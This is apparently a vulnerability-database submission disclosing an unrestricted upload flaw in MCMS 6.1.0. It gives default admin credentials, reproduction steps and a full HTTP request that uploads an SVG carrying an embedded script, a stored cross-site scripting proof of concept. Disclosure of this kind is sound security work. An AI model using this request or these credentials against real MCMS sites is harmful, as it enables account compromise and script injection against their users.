| Title | code-projects MCMS V6.1.0 Unrestricted Upload |
|---|
| Description | Download the source code from https://gitee.com/mingSoft/MCMS and deploy it locally for testing. The default administrator username and password are msopen/msopen.
In System Settings - Application Settings, upload your website logo (upload any JPG file), then modify the package file, changing the file extension to SVG, PDF, etc.
POST /ms/file/upload.do HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 653
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykBoAVaKYEqYVO7mB
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/ms/basic/app/app.do?
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: pageno_cookie=1; SHIRO_SESSION_ID=21278f9c-dd94-4a85-a5e9-556c95583048
Connection: keep-alive
------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="uploadPath"
/appLogo
------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="isRename"
true
------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="appId"
true
------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="file"; filename="1.xml"
Content-Type: image/jpeg
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
------WebKitFormBoundarykBoAVaKYEqYVO7mB--
|
|---|
| Source | ⚠️ https://gitee.com/mingSoft/MCMS/issues/ID7OL2 |
|---|
| User | NasYh (UID 92820) |
|---|
| Submission | 11/20/2025 14:09 (11 months ago) |
|---|
| Moderation | 12/06/2025 14:58 (16 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 252892 [MCMS 5.3.5 HTTP POST Request /ms/file/upload.do unrestricted upload] |
|---|
| Points | 0 |
|---|